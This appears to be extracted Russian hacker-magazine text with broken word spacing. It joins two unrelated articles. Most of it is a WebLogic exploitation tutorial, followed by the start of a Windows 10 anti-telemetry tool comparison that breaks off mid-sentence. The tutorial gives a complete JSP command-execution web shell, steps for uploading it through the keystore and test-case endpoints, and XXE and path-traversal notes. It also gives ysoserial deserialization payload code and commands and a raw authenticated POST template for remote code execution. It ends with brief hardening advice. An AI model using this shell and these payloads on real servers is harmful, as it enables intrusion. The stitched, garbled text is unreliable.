112:     Set<String> keySet = fieldMap.keySet();
...
122:         String attachName = fdcd.getFileName();
...
131:             if (fileNamePrefix == null) {
132:               fileNamePrefix = key;
133:             }
134:             String filename = new File(storePath, fileNamePrefix
+ "_" + attachName).getAbsolutePath();

135:             kvMap.addValue(key, filename);
136:
137:             if (isExtactAttachment) {
138:               saveAttachedFile(filename, (InputStream)bodyPart.
getValueAs(InputStream.class));
139:             }

По это му наш файл пос ле заг рузки будет дос тупен по адре су

http://weblogic.vh:7001/ws_utc/css/config/keystore/1540385552726_t
est.txt

Заг ружен ный файл дос тупен через веб

Об рати  вни мание,  что  пре фикс  фай ла  не  сов пада ет  с  парамет ром
, который мы переда вали в зап росе. Что бы узнать нуж ный, мож но

перей ти по адре су 
, и там в поле   будет то, что мы ищем.

timestamp
http://weblogic.vh:7001/ws_utc/resources/setting/

keystore id

Спи сок заг ружен ных фай лов клю чевых хра нилищ

Те перь дело  за малым. Прос то  заг ружа ем  в  качес тве  клю чево го  хра нили ща
JSP‐шелл. Такой, нап ример.

<%@ page import="java.util.*,java.io.*,java.net.*"%>
<html><body>
<form method="POST" action="">
<input type="text" name="cmd">
<input type="submit" value="send command">
</form>
<pre>
<%
if (request.getParameter("cmd") != null) {
   out.println("Command: " + request.getParameter("cmd") + "\n<br>")
;
   Process p = Runtime.getRuntime().exec("cmd /c " + request.getPar
ameter("cmd"));
   OutputStream os = p.getOutputStream();
   InputStream in = p.getInputStream();
   DataInputStream dis = new DataInputStream(in);
   String disr = dis.readLine();
   while ( disr != null ) {
       out.println(disr); disr = dis.readLine(); }
   }
%>
</pre>
</body></html>

Заг рузка шел ла в WebLogic через keystore

Как  ты  пом нишь,  мы  изме няли  рабочую  дирек торию  на  монс тру озный  путь,
который зависит от наз вания сер вера, его вер сии и про чего. На самом деле
есть и дру гие пути, по которым мож но раз местить нашу пап ку. Нап ример,

<домашняя_директория_weblogic>/wlserver/server/lib/consoleapp/webapp/
framework/skins/wlsconsole/images/

В  таком  слу чае  все  заг ружен ные  фай лы  будут  дос тупны  по  URI
./console/framework/skins/wlsconsole/images/config/keystore/

За лив ка шел ла с исполь зовани ем дру гой рабочей дирек тории

Ес ли тебя инте ресу ет авто мати зация экс плу ата ции, то мож но вос поль зовать‐ 
ся  . Там такого доб ра навалом.по иском по GitHub

С этим делом разоб рались,  но есть еще одна воз можность  залить шелл
в сис тему. Тут тре бует ся авто риза ция, но быс трень ко про бежим ся и по это му
методу.

ws-testpage-
impl.jar.src/com/oracle/webservices/testclient/web/Processor.java
82:   public Forward begin() {
83:     if (this.request.getUserPrincipal() != null) {
84:       this.request.setAttribute("show_log_out", "true");
85:     } else {
86:       this.request.setAttribute("show_log_out", "false");
87:     }
88:     if (RequestUtil.isRequstedByAdmin(this.request)) {
89:       this.request.setAttribute("show_setting", "true");
90:     } else {
91:       this.request.setAttribute("show_setting", "false");
92:     }

Ав торизу емся  адми ном  в  Web  Services  Test  Client,  по  дефол ту  логин
. Попада ем на стра ницу  .weblogic begin.do

Глав ная стра ница Web Services Test Client

Те перь вклю чай свой любимый прок си‐сниф фер и жми на кноп ку  Import  test
case. Откро ется  окно  выбора фай ла  для  заг рузки,  выбира ем  там  наш шелл
и кли каем на Import.

Заг рузка тес товых сце нари ев в Web Services Test Client

За заг рузку фай ла отве чает все тот же  .RSDataHelper.java

ws-testpage-
impl.jar.src/com/oracle/webservices/testclient/ws/util/RSData-
Helper.java
49:   public KeyValuesMap<String, String> convertFormDataMultiPart(
FormDataMultiPart formPartParams, boolean isExtactAttachment)
50:   {
51:     File pathFile = new File(com.oracle.webservices.testclient.
core.ws.cdf.config.parameter.TestClientRT.getUploadDir());
52:     if (!pathFile.exists()) {
53:       pathFile.mkdirs();
54:     }
55:
56:     cleanObsoleteFile(pathFile);
57:
58:     String dirName = "RS_Upload_" + df.format(new Date());
59:     String uploadPath = new File(pathFile, dirName).getAbs
olutePath();
60:
61:     return convertFormDataMultiPart(formPartParams, isExta
ctAttachment, uploadPath);
62:   }

По дефол ту дирек тория, в которую ски дыва ются фай лы, име ет пре фикс 
, так же в наз вании исполь зует ся текущая дата.

RS_U‐
pload_

ws-testpage-
impl.jar.src/com/oracle/webservices/testclient/ws/action/ImportTest-
CaseAction.java
41:   public ActionData execute(ActionData actionData)
42:   {
43:     KeyValuesMap<String, String> formParams = (KeyValuesMap)
actionData.get("request_form_data");
44:     try {
45:       String fileName = (String)formParams.getFirstValue("import
_file_name");
46:       String importId = "" + new Date().getTime();

Заг рузка шел ла в WebLogic через тес товые сце нарии

В  отве те  сер вер  вер нет  ошиб ку,  в  которой  мы  можем  видеть  пол ный  путь
до  фай ла.  Она  воз ника ет  из‐за  того,  что  WebLogic  пыта ется  выпол нить
демар шаллинг содер жимого заг ружен ного докумен та.

ws-testpage-
impl.jar.src/com/oracle/webservices/testclient/ws/action/ImportTest-
CaseAction.java
53:       TTestConfig tconfig = (TTestConfig)Unmarshaller.unmarshal(
new File(fileName));

Так  как  мы  уже  изме няли  рабочую  дирек торию,  то  шелл  дос тупен  из  веба
и  мож но  выпол нять  коман ду. Одна ко,  даже  ког да  нет  воз можнос ти  манипу‐ 
лиро вать парамет ром WorkDir, есть шанс исполь зовать еще одну уяз вимость
в наз вании парамет ра в фор ме заг рузки. А там у нас path traversal! :)

Path traversal в наз вании фай ла при заг рузке

Но это еще не все. Давай переда дим вмес то шел ла прос той XML‐файл. Если
теперь вни матель но пос мотреть на ошиб ку сер вера, то мож но заметить стро‐ 
ку  .Internal Exception: org.xml.sax.SAXParseException

Тес тирова ние XXE в WebLogic

Это  озна чает,  что  содер жимое  переда ваемо го  фай ла  пар сится,  что  откры‐ 
вает воз можность для ата ки типа XXE. Эта уяз вимость извес тна под име нем
CVE‐2018‐3246. Что бы ее быс тро про экс плу ати ровать, мож но вос поль зовать‐ 
ся ути литой для рас крут ки сле пых XML‐инъ екций, написан ной коман дой 

 на Ruby, или ее вер сию на Python.
ON‐

sec
Не забывай, что раз работ чики не дрем лют и пос тоян но зак ручива ют гай ки.

Поэто му на пос ледних вер сиях Java (1.8 и выше) такой спо соб экс плу ата ции
уже не про катит.

Продолжение статьи →
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http://weblogic.vh:7001/console/framework/skins/wlsconsole/images/config/keystore/
https://github.com/search?utf8=%E2%9C%93&q=CVE-2018-2894&ref=simplesearch
https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb


ДЫРЯВАЯ ЛОГИКА
ЭКСПЛУАТИРУЕМ НОВЫЕ УЯЗВИМОСТИ

В ORACLE WEBLOGIC

ВЗЛОМ  НАЧАЛО СТАТЬИ←

БАГИ ДЕСЕРИАЛИЗАЦИИ (CVE-2018-2628, CVE-2018-3191, CVE-
2018-3252)
В уже далеком 2015 году иссле дова тели из FoxGlove Security обна ружи ли уяз‐ 
вимость, которая получи ла иден тифика тор  . Бла года ря ей мы
боль ше узна ли об ата ках десери али зации в Java и об исполь зовании базовых
клас сов из Apache Commons Collections для атак типа RCE на такие про дук ты,
как Jenkins, OpenNMS, WebLogic, JBoss, WebSphere. Раз работ чики из Oracle
при няли неод нознач ное решение  запат чить  эту  уяз вимость,  добавив потен‐ 
циаль но опас ные клас сы в блек‐лист.

CVE‐2015‐4852

public abstract class ClassFilter {
 static final String BLACK_LIST_PROPERTY = "weblogic.rmi.blacklist";
 static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = "weblogic.

rmi.disabledefaultblacklist";
 static final String DISABLE_BLACK_LIST_PROPERTY = "weblogic.rmi.

disableblacklist";
 private static final String DEFAULT_BLACK_LIST = "+org.apache.

commons.collections.functors," +
 "+com.sun.org.apache.xalan.internal.xsltc.trax," +

Как ты понима ешь, это не луч шее решение, и очень ско ро был най ден обход
и на горизон те показал ся новый баг —  . Иссле дова тели обна‐ 
ружи ли фун кцию   клас са 

,  которая  в  том  чис ле  выпол няет  десери али зацию  и  не  попада ет
в чер ный спи сок. Поэто му с новым пат чем этот спи сок был рас ширен.

CVE‐2016‐0638
readExternal() weblogic.jms.common.StreamMes‐

sageImpl

Это го  сно ва  ока залось  недос таточ но,  на  проб лему  обра тили  вни мание
боль шее количес тво ресер черов, и вско ре появил ся бай пас пат ча. Новая уяз‐ 
вимость получи ла иден тифика тор  .CVE‐2016‐3510

Здесь  чер ный  спи сок  обхо дит ся  при  помощи 
. В  который раз с новым пат чем чер ный спи сок обновля‐ 

ется.  Толь ко это го вновь ока залось недос таточ но, и  свет  уви дел оче ред ной
обход  . Тут исполь зовал ся про токол JRMP (Java Remote Mes‐
saging exchange Protocol) в рам ках которо го воз можен обмен сери али зован‐ 
ными  Java‐объ екта ми.  Этот  про токол  —  часть  сис темы  уда лен ного  выпол‐ 
нения методов (RMI), а он, в свою оче редь, работа ет по TCP/IP.

weblogic.corba.utils.
MarshalledObject

CVE‐2017‐3248

Экс пло ит  вызыва ет  ,  который  исполь‐ 
зует  ,  что бы  соз дать  соеди нение  по  TCP  со  сво ей  RMI.  Так
как  обмен  дан ными  про исхо дит  по  про токо лу  JRMP,  кли ент  десери али зует
все  дан ные,  которые  ему  отправ ляет  сер вер,  и  поэто му  ста новит ся  воз‐ 
можным  уда лен ное  выпол нение  кода.  Несом ненно,  в  ско ром  вре мени  патч
был выпущен.

RemoteObjectInvocationHandler
UnicastRef

И вот мы вплот ную подоб рались к нашей уяз вимос ти CVE‐2018‐2628. Пос‐ 
мотрим на то, как реали зова на защита от пре дыду щего бага. Для это го заг‐ 
лянем в файл  . В нем находит ся нуж ный нам
InboundMsgAbbrev.java.

com.oracle.weblogic.rjvm.jar

weblogic/rjvm/InboundMsgAbbrev.java
013: final class InboundMsgAbbrev
014: {
...
123:     protected Class<?> resolveProxyClass(String[] interfaces)
124:       throws IOException, ClassNotFoundException
125:     {
126:       for (String intf : interfaces) {
127:         if (intf.equals("java.rmi.registry.Registry")) {
128:           throw new InvalidObjectException("Unauthorized proxy 
deserialization");
129:         }
130:       }
131:       return super.resolveProxyClass(interfaces);
132:     }

Класс    про веря ет  наз вание  интерфей са.  Если  мы  пыта‐ 
емся выз вать  ,  то сис тема воз вра щает ошиб‐ 
ку. Это все, конеч но, хорошо, толь ко вот сущес тву ет 

,  который  облегча ет  акти вацию  уда лен ных  объ ектов.  Это  зна чит,
что  с  помощью  него  так же  мож но  уста нав ливать  соеди нения  с  ата кующим
сер вером, который отпра вит пей лоад.

resolveProxyClass
java.rmi.registry.Registry

java.rmi.activation.
Activator

Для этих целей и экс плу ата ции все воз можных видов атак с при мене нием
сери али зован ных  объ ектов  Java  есть  ути лита  .  Пос ледний  ском‐ 
пилиро ван ный билд ты всег да можешь  , но нам нуж но взять
сущес тву ющий  шаб лон    и  перепи сать  его  в  соот ветс твии
с нашими реалиями. Поэто му понадо бит ся   и кли ент Git.

ysoserial
ска чать с Jitpack

JRMPClient
maven

git clone https://github.com/frohoff/ysoserial
cd ysoserial

Нам  нужен  файл  .
Копиру ем  его  под  име нем  JRMPClient2  и  пере име новы ваем  исполь зуемый
интерфейс из   в  .

/src/main/java/ysoserial/payloads/JRMPClient.java

Registry Activator

/src/main/java/ysoserial/payloads/JRMPClient2.java
5: import java.rmi.activation.Activator;
...
54: public class JRMPClient2 extends PayloadRunner implements Object
Payload<Activator> {
...
56:     public Activator getObject ( final String command ) throws 
Exception {
...
73:         Activator proxy = (Activator) Proxy.newProxyInstance(
JRMPClient.class.getClassLoader(), new Class[] {
74:             Activator.class
75:         }, obj);
76:         return proxy;
77:     }
...
81:         Thread.currentThread().setContextClassLoader(JRMPClient2.
class.getClassLoader());

Те перь нам нуж но ском пилиро вать ути литу.

mvn clean package

Ес ли  не  хочешь  возить ся  со  всем  этим,  то  мож но 
из репози тория brianwrf.

ска чать  готовый  jar

WebLogic  исполь зует  проп риетар ный  про токол  T3  для  реали зации  спе‐ 
цифи каций RMI. Под клю чение и обще ние с сер вером через него — отдель‐ 
ная тема, эту часть ты можешь гля нуть в  . А про цесс экс плу ата ции
такой.

экс пло ите

, который будет дос тавлять полез ную наг рузку
на сер вер:

1. Запус каем сер вер JRMP

java ‐cp ysoserial‐0.0.6‐SNAPSHOT‐BETA‐all.jar ysoserial.exploit.
JRMPListener <порт> CommonsCollections1 '<команда>'

, который будет отправ лять ся на уяз вимый WebLogic‐
сер вер.  Здесь  исполь зуем  соз данный  нами  .  Он  зас тавит  его
при кон нектить ся к нашему JRMP‐сер веру с полез ной наг рузкой.

2. Генери руем пей лоад
JRMPClient2

java ‐jar ysoserial‐0.0.6‐SNAPSHOT‐BETA‐all.jar JRMPClient2 <ip_JRM
PListener>:<порт_JRMPListener> > payload.raw

  по  про токо лу  T3  и  отправ ляем  ему  пей лоад
из пре дыду щего шага.
3.  Под клю чаем ся  к  WebLogic

java ‐cp target\ysoserial‐0.0.6‐SNAPSHOT‐all.jar ysoserial.exploit.
JRMPListener 1099 CommonsCollections1 "touch /tmp/exploit"
python 44553.py 192.168.99.100 7001 ysoserial\target\ysoserial‐0.0.6‐
SNAPSHOT‐all.jar 192.168.99.1 1099 JRMPClient2

Вы пол нение про изволь ного кода в WebLogic через десери али зацию

Раз работ чики были  про информи рова ны  и  выпус тили фикс,  но  окон чатель но
запат чить  эту  проб лему  у  них  вновь  не  выш ло.  Чер ный  спи сок  сно ва  вырос
в раз мерах.

private static final String[] DEFAULT_BLACKLIST_PACKAGES = {
"org.apache.commons.collections.functors", "com.sun.org.apache.xalan.
internal.xsltc.trax",
"javassist", "java.rmi.activation", "sun.rmi.server" };
private static final String[] DEFAULT_BLACKLIST_CLASSES = {
"org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.
groovy.runtime.MethodClosure",
"org.springframework.transaction.support.AbstractPlatformTransact
ionManager",
"java.rmi.server.UnicastRemoteObject", "java.rmi.server.Remote
ObjectInvocationHandler" };

Его  попол нили  пакеты  ,    и  клас сы
, 

,  но  им  быс трень ко  наш лась  замена  в  виде 
.  Этот  обход  (CVE‐2018‐3245)  обна ружил  Чжан  Чжии

(Zhiyi  Zhang)  из  360  ESG  Codesafe  Team.  Он  зарели зил 
для  .

java.rmi.activation sun.rmi.server
java.rmi.server.UnicastRemoteObject java.rmi.server.RemoteObject‐
InvocationHandler java.rmi.
server.RemoteObject

но вый  пей лоад
ysoserial

/ysoserial/src/main/java/ysoserial/payloads/JRMPClien-
t_20180718_bypass01.java
01: package ysoserial.payloads;
02:
03: import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;
04: import sun.rmi.server.UnicastRef;
05: import sun.rmi.transport.LiveRef;
06: import sun.rmi.transport.tcp.TCPEndpoint;
07: import ysoserial.payloads.annotation.Authors;
08: import ysoserial.payloads.annotation.PayloadTest;
09: import ysoserial.payloads.util.PayloadRunner;
10:
11: import java.lang.reflect.Proxy;
12: import java.rmi.registry.Registry;
13: import java.rmi.server.ObjID;
14: import java.rmi.server.RemoteObjectInvocationHandler;
15: import java.util.Random;
16:
17:
18: @SuppressWarnings ( {
19:     "restriction"
20: } )
21: @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConn
ectSMTest")
22: @Authors({ Authors.MBECHLER })
23: public class JRMPClient_20180718_bypass01 extends PayloadRunner 
implements
24: ObjectPayload<ReferenceWrapper_Stub> {
25:     public ReferenceWrapper_Stub getObject ( final String command
) throws Exception {

26:
...
41:         ReferenceWrapper_Stub stud = new ReferenceWrapper_Stub(
ref);
42:         return stud;
...
46:     public static void main ( final String[] args ) throws Except
ion {
47:         Thread.currentThread().setContextClassLoader(JRMPCl
ient_20180718_bypass01.class.getClassLoader());
48:         PayloadRunner.run(JRMPClient_20180718_bypass01.class, 
args);

Ис поль зовать мож но ана логич но пре дыду щему.

ДЕСЕРИАЛИЗАЦИЯ ЧЕРЕЗ POST (CVE-2018-3252)
Вот  мы  и  подоб рались  к  пос ледней  уяз вимос ти.  Она  тоже  про  десери али‐ 
зацию,  но  на  этот  раз  через  зап рос  по  HTTP.  В  WebLogic  есть  сер влет
для  деп лоя.  Он  вызыва ется  при  помощи  отправ ки  POST  на 

.
/bea_wls_de‐

ployment_internal/DeploymentService

weblogic/deploy/service/internal/transport/http/DeploymentService-
Servlet.java
242:   private final void internalDoPost(HttpServletRequest req, 
HttpServletResponse res, AuthenticatedSubject user)
243:     throws IOException
244:   {
245:     String requestType = mimeDecode(req.getHeader("wl_req
uest_type"));
246:     
247:     try
248:     {
...
252:       if (requestType.equals("data_transfer_request")) {
253:         handleDataTransferRequest(req, res, user);
254:         return;
255:       }

Тип  зап роса  переда ется  в  заголов ке  .  Если  он  равен
,  то  зап рос  обра баты вает ся  с  помощью 

.

wl_request_type
data_transfer_request handle‐
DataTransferRequest

weblogic/deploy/service/internal/transport/http/DeploymentService-
Servlet.java
1075:   private void handleDataTransferRequest(HttpServletRequest req
, HttpServletResponse res, AuthenticatedSubject user)
1076:     throws IOException
1077:   {
1078:     if (isDebugEnabled()) debug("Received DataTransferReq
uest : ");
1079:     String peerVersion = readOrConstructPeerVersion(req);
1080:     if (isDebugEnabled()) debug("Peer Version : " + peerVersion
);
1081:     String reqIdString = req.getHeader("deployment_request_id")
;
1082:     long requestId = reqIdString != null ? Long.parseLong(
reqIdString) : ‐1L;
1083:     
1084:     String srcServer = mimeDecode(req.getHeader("serverName"));
1085:     
1086:     ObjectInputStream in = null;
1087:     try {
1088:       in = new DeploymentObjectInputStream(req.getInputStream()
, peerVersion);
1089:       
1090:       DataTransferRequest request = (DataTransferRequest)in.
readObject();

Те ло  зап роса  попада ет  в  конс трук тор  клас са
,  а  затем  в    про исхо дит  его

десери али зация. Фун кция опре деля ет, к какому типу отно сят ся отправ ленные
дан ные.

DeploymentObjectInputStream readObject()

weblogic/rjvm/InboundMsgAbbrev.java
44:   private Object readObject(MsgAbbrevInputStream in)
45:     throws IOException, ClassNotFoundException
46:   {
47:     int typecode = in.read();
48:     switch (typecode)
49:     {
50:     case 1: 
51:       return in.readASCII();
52:     case 0: 
53:       return new ServerChannelInputStream(in, null).readObject();
54:     }
55:     throw new StreamCorruptedException("Unknown typecode: '" + 
typecode + "'");
56:   }

Очень  похожее  поведе ние  наб люда ется  при  ука зании  в  качес тве  типа  зап‐ 
роса  .deployment_svc_msg

weblogic/deploy/service/internal/transport/http/DeploymentService-
Servlet.java
249:       if (requestType.equals("deployment_svc_msg")) {
250:         handleDeploymentServiceMessage(req, res, user);
251:         return; }
...
952:   private void handleDeploymentServiceMessage(HttpServletRequest
req, HttpServletResponse res, AuthenticatedSubject user)

953:     throws IOException
954:   {
...
979:       in = new DeploymentObjectInputStream(req.getInputStream(),
peerVersion);

980:       
981:       DeploymentServiceMessage message = (DeploymentServi
ceMessage)in.readObject();

Уяз вимость  воз можно  про экс плу ати ровать,  толь ко  если  ты  авто ризо ван,
поэто му в хидерах так же переда ем логин и пароль поль зовате ля. Тог да зап‐ 
рос при обре тает сле дующий вид:

POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: weblogic.vh:7001
wl_request_type: data_transfer_request
username: weblogic
password: <пароль>
deployment_request_id: 360901
Connection: close
<rce‐payload>

PoC еще не всплы вал в паб лике, поэто му у тебя есть воз можность написать
его самому. Воору жай ся исходни ками — и впе ред.

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
Се год ня мы научи лись выпол нять код в WebLogic раз ными спо соба ми. Разоб‐ 
рали, как мож но экс плу ати ровать уяз вимос ти типа десери али зация объ ектов.
Поп робова ли  работать  с  ути литой  ,  делать  пей лоады  для  нее
и исполь зовать их в бою.

ysoserial

Что бы самому не стать жер твой атак такого типа, при дер живай ся нес коль‐ 
ких пра вил. Ста рай ся всег да исполь зовать пос леднюю вер сию дис три бути ва
Java.  Раз работ чики  из  Oracle  с  каж дым  релизом  ужес точа ют  пра вила
безопас ности  сво его  про дук та.  Нап ример,  появи лась  встро енная  филь тра‐ 
ция  потен циаль но  опас ных  поль зователь ских  сери али зован ных  дан ных  —

.JEP290
Сво евре мен но  уста нав ливай  секь юри ти‐пат чи,  выпус каемые  Oracle.

Помимо это го, желатель но нас тро ить пра вила филь тра ции про токо ла T3, что‐ 
бы к нему был дос туп толь ко с доверен ных IP.

https://nvd.nist.gov/vuln/detail/CVE-2015-4852
https://nvd.nist.gov/vuln/detail/CVE-2016-0638
https://nvd.nist.gov/vuln/detail/CVE-2016-3510
https://nvd.nist.gov/vuln/detail/CVE-2017-3248
https://github.com/frohoff/ysoserial
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
https://github.com/frohoff/ysoserial/raw/master/src/main/java/ysoserial/payloads/JRMPClient.java
https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
https://www.exploit-db.com/exploits/44553/
https://gist.github.com/allyshka/3b0e422c46180fd933ec29c89b0402aa
https://vimeo.com/298124547
https://openjdk.java.net/jeps/290
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ПРИВАТНОСТЬ

С выхода Windows 10 прош ло уже три с лиш ним года, а проб‐ 
лема  сли ва  поль зователь ских  дан ных  на  сер веры  Microsoft
так и не решена. Более того, она усу губи лась при нуди тель‐ 
ным сбро сом нас тро ек при ват ности и переза пус ком отклю‐ 
чен ной служ бы обновле ний. В этой статье мы срав ним нес‐ 
коль ко  ути лит  для  управле ния  «шпи онски ми»  ком понен тами
ОС и пос мотрим, нас коль ко они эффектив ны на сов ремен‐ 
ных сбор ках Windows 10.

В  Microsoft  никог да  не  скры вали,  что  собира ют  све дения  о  поль зовате лях,
прос то рань ше огра ничи вались вити ева тыми фра зами об отправ ке «некото‐ 
рых  све дений  в  целях  улуч шения  поль зователь ско го  опы та».  Пос ле  вступ‐ 
ления  в  силу    и  ряда  дру гих
законов юрис там ком пании приш лось рас крыть под робнос ти.   мож‐ 
но  почитать  о  том,  какие  дан ные  собира ются,  куда  переда ются,  как  обра‐ 
баты вают ся и в каких слу чаях рас кры вают ся.

Ев ропей ско го  рег ламен та  по  защите  дан ных
Вот здесь

Пе ред  пот ребите лями  в  Microsoft  вык рутились  тем,  что  яко бы  дают  воз‐ 
можность самос тоятель но нас тро ить тип и количес тво переда ваемых дан ных.
Для  это го  необ ходимо  уста новить    (для  тех,  у  кого  билд
ниже 15063.0) и вос поль зовать ся экра ном кон фиден циаль нос ти. Желатель но
сде лать это еще на эта пе уста нов ки.

па кет  обновле ний

Эк ран кон фиден циаль нос ти при уста нов ке Windows 10

По задум ке, у поль зовате ля воз ника ет ощу щение, что если все отклю чено, то
дан ные уте кать не будут. Одна ко это намерен но соз дава емая иллю зия. Давай
запус тим сниф фер и пос мотрим, как обсто ят дела в дей стви тель нос ти.

МЕТОДИКА ТЕСТИРОВАНИЯ
Все  тес ты  про води лись  парал лель но  на  двух  тес товых  сбор ках  Windows  10
Pro  —  1709  и  1803.  Что бы  усло вия  тес тирова ния  были  иден тичны,  каж дая
«антишпи онская» прог рамма была раз верну та в кло нах вир туал ки. На скрин‐ 
шотах  в  статье  сна чала  при водит ся  сни мок  работы  в  1709,  а  затем  в  1803,
если  не  ука зано  иное.  В  качес тве  вспо мога тель ных  ути лит  исполь зовались
Wireshark 2.6.3 64 bit, TCPView v. 3.05 и Regshot v. 2.1.0.17.

Во  всех  тес тиру емых  прог раммах  выбира лись  нас трой ки  бло киров ки
по мак симуму. Если какую‐то фун кцию или при ложе ние не заб локиро вать, то
воз никнет неоп ределен ная пог решность. Будет непонят но:  то ли это незаб‐ 
локиро ван ный пункт при водит к сли ву дан ных, то ли какую‐то фун кцию прог‐ 
рамме не уда лось отклю чить. Иде аль ный резуль тат — это дамп сетево го тра‐ 
фика без IP‐адре сов Microsoft. Пос мотрим, кто как спра вит ся с этой задачей,
но  для  начала  про верим  штат ные  фун кции  управле ния  при ват ностью
в Windows.

ПРОВЕРКА НАСТРОЕК ПРИВАТНОСТИ
Ес ли  оста вить  нас трой ки  по  умол чанию,  то  пос ле  заг рузки ОС  сра зу  виден
боль шой поток исхо дяще го тра фика на адре са Microsoft.

Мо нито ринг сетево го тра фика с дефол тны ми нас трой ками при ват ности

Те перь  отклю чаем  все,  что  отклю чает ся  на  экра не  при ват ности.  Резуль тат
налицо.

Мо нито ринг сетево го тра фика с обре зан ной переда чей телемет рии

Од нако даже пос ле перек лючения всех флаж ков в зап реща ющее положе ние
некото рые дан ные сра зу отправ ляют ся в облачную плат форму Microsoft Azure,
при чем в Син гапуре. В логах Wireshark я заметил IP‐адре са сетевых узлов Mi‐
crosoft из раз ных стран мира. Видимо, так работа ет балан сиров ка наг рузки.
Соеди нение  с  ними  не  пос тоян ное  (вышел  на  связь,  передал  что  надо
и  обор вал  соеди нение).  Пул  адре сов  очень  боль шой.  Я  их  переп роверил
и  убе дил ся,  что  поч ти  все  они  при над лежат  Microsoft  или  ее  пар тнерским
сетям.

СРАВНЕНИЕ ПРОГРАММ
Для срав нения мы отоб рали сле дующие «антишпи онские» прог раммы: Black‐
bird  1.0.28,  Destroy  Windows  10  Spying  1.0.1.0,  DoNotSpy10  4.0,  O&O
ShutUp10 1.6.1399, Disable Win Tracking 3.2.1 и WPD 1.2.940. У всех этих при‐ 
ложе ний одна цель — не дать Microsoft  получить  какие‐либо дан ные извес‐ 
тным путем. Не лишены они и раз ных плю шек  типа бло киров ки обновле ний.
Вот при мер ный спи сок того, что сле дует ожи дать от таких ути лит:

от клю чение записи активнос ти поль зовате ля;•
от клю чение отправ ки дан ных о вво де с кла виату ры;•
от клю чение отправ ки образцов рукопис ного вво да;•
от клю чение сбо ра диаг ности чес ких дан ных (телемет рии);•
от клю чение сбо ра дан ных о мес тополо жении;•
от клю чение и сброс пер сональ ных нас тро ек Cortana;•
от клю чение дос тупа в интернет для Windows Media DRM;•
от клю чение дос тупа при ложе ний к информа ции об учет ной записи, кален‐ 
дарю, сооб щени ям, камере, мик рофону и мес тополо жению;

•

(опци ональ но)  отклю чение  служ бы  обновле ния  Windows  для  дру гих  про‐ 
дук тов.

•

Ко неч но, это не пол ный перечень, но тот разум ный минимум, на который сто‐ 
ит ори енти ровать ся. Все эти изме нения мож но сде лать и вруч ную. Подоб ные
«антишпи онские» ути литы под купа ют лишь тем, что при меня ют сот ню тви ков
в пару кли ков.

Как вооб ще работа ют эти ути литы?
1. Из меня ют клю чи реес тра, отве чающие за нас трой ки при ват ности.
2. До бав ляют  в  файл    извес‐ 
тные авто рам прог раммы URL сетевых узлов, на которые Microsoft сли вает
дан ные.

%WINDIR%\System32\drivers\etc\hosts

3. До бав ляют в бран дма уэр Windows наборы зап реща ющих пра вил, бло киру‐ 
ющие под клю чение к извес тным IP‐адре сам Microsoft.

4. Ос танав лива ют «сле дящие» служ бы.
5. Уда ляют «шпи онские» задания пла ниров щика.
6. В  хар дкор ном  вари анте  уда ляют  сис темные  фай лы  и  катало ги,  отве‐ 
чающие за «шпи онские» фун кции.

WARNING

По пыт ка  добить ся  мак сималь ной  при ват ности
с  помощью  подоб ных  прог рамм может  при вес ти
к  тому,  что  перес танут  работать  и  нуж ные  ком‐ 
понен ты,  сле тит  акти вация  Windows,  ОС  будет
вес ти  себя  нес табиль но  или  вооб ще  не  заг‐ 
ружать ся.  Нас тоятель но  рекомен дуем  не  огра‐ 
ничи вать ся  встро енны ми  в  них  средс тва ми
резер вно го копиро вания, а исполь зовать сто рон‐ 
ние  прог раммы  для  соз дания  пол ного  обра за
дис ка.  С  ним  гаран тирован но  оста нет ся  воз‐ 
можность вер нуть сис тему в исходное сос тояние,
что бы с ней ни слу чилось в ходе экспе римен тов.

Blackbird 1.0.28
https://www.getblackbird.net

Прог рамма  работа ет  в  кон соль ном  режиме.  У  нее  изна чаль но  все го  три
фун кции:

ска ниро вать сис тему и вывес ти все (по мне нию раз работ чика) обна ружен‐ 
ные проб лемы;

•

за пус тить менед жер бло киров ки;•
сде лать бэкап нас тро ек. Вот эту фун кцию хочу осо бо отме тить. Не каж дая
прог рамма поз воля ет это сде лать, так что, если что‐то пош ло не так, прос‐ 
то вос ста нав лива ем нас трой ки до бло киров ки и работа ем даль ше. Бэкап
помеща ется в пап ку с прог раммой, и, ког да он сде лан, прог рамма меня ет
одну из сво их фун кций с «Бэкапи ровать» на «Вос ста новить из бэкапа».

•

Ин терфейс Blackbird

Пос ле  ска ниро вания  выда ется очень боль шой спи сок  «недоче тов»,  которые
надо испра вить.

Ска ниро вание в Blackbird

Пун ктов в нем и вправ ду мно го, но есть очень спор ные момен ты. К при меру,
пер вым  делом  резанул  глаз  пункт  бло киров ки  служ бы  W32Time.  Если  комп
будет в домене, то как син хро низи ровать вре мя с сер вером?

Пе рей дем  к  спис ку  бло киров ки.  Нажима ем  А  на  глав ном  экра не  прог‐ 
раммы и видим такую кар тинку.

Спи сок при ложе ний и служб для бло киров ки Blackbird

Об рати  вни мание,  что  в  бил де  1803  добав лены  нес коль ко  новых  фун кций,
поэто му бло киров ке под лежит 78 пун ктов, а не 70, как в 1709. Вот наг лядный
при мер, почему для тес та я выб рал два релиза Windows 10.

Раз ница в бил дах Windows 10 в Blackbird

В спис ке  ком понен тов,  которые может отклю чить Blackbird, нет служ бы Win‐
dows  Update.  Само  отклю чение  сде лано  неудоб но:  нет  готовых  про филей
нас тро ек, каж дый пункт при ходит ся выбирать отдель но.

Пос ле выпол ненных дей ствий в сбор ке 1709 уда лось отклю чить все «сле‐ 
дящие» фун кции,  прог рамма  спра вилась  на  ура. На  сбор ке  1803 одна фун‐ 
кция  так  и  не  была отклю чена,  при чем их  общее  количес тво  почему‐то  ста‐ 
ло 79.

Blackbird не пол ностью спра вилась со сбор кой 1803

Два дня наб людений за поведе нием опе раци онных сис тем показа ли, что пос‐ 
ле работы Blackbird исхо дящий тра фик стал мень ше в разы. Одна ко тес товый
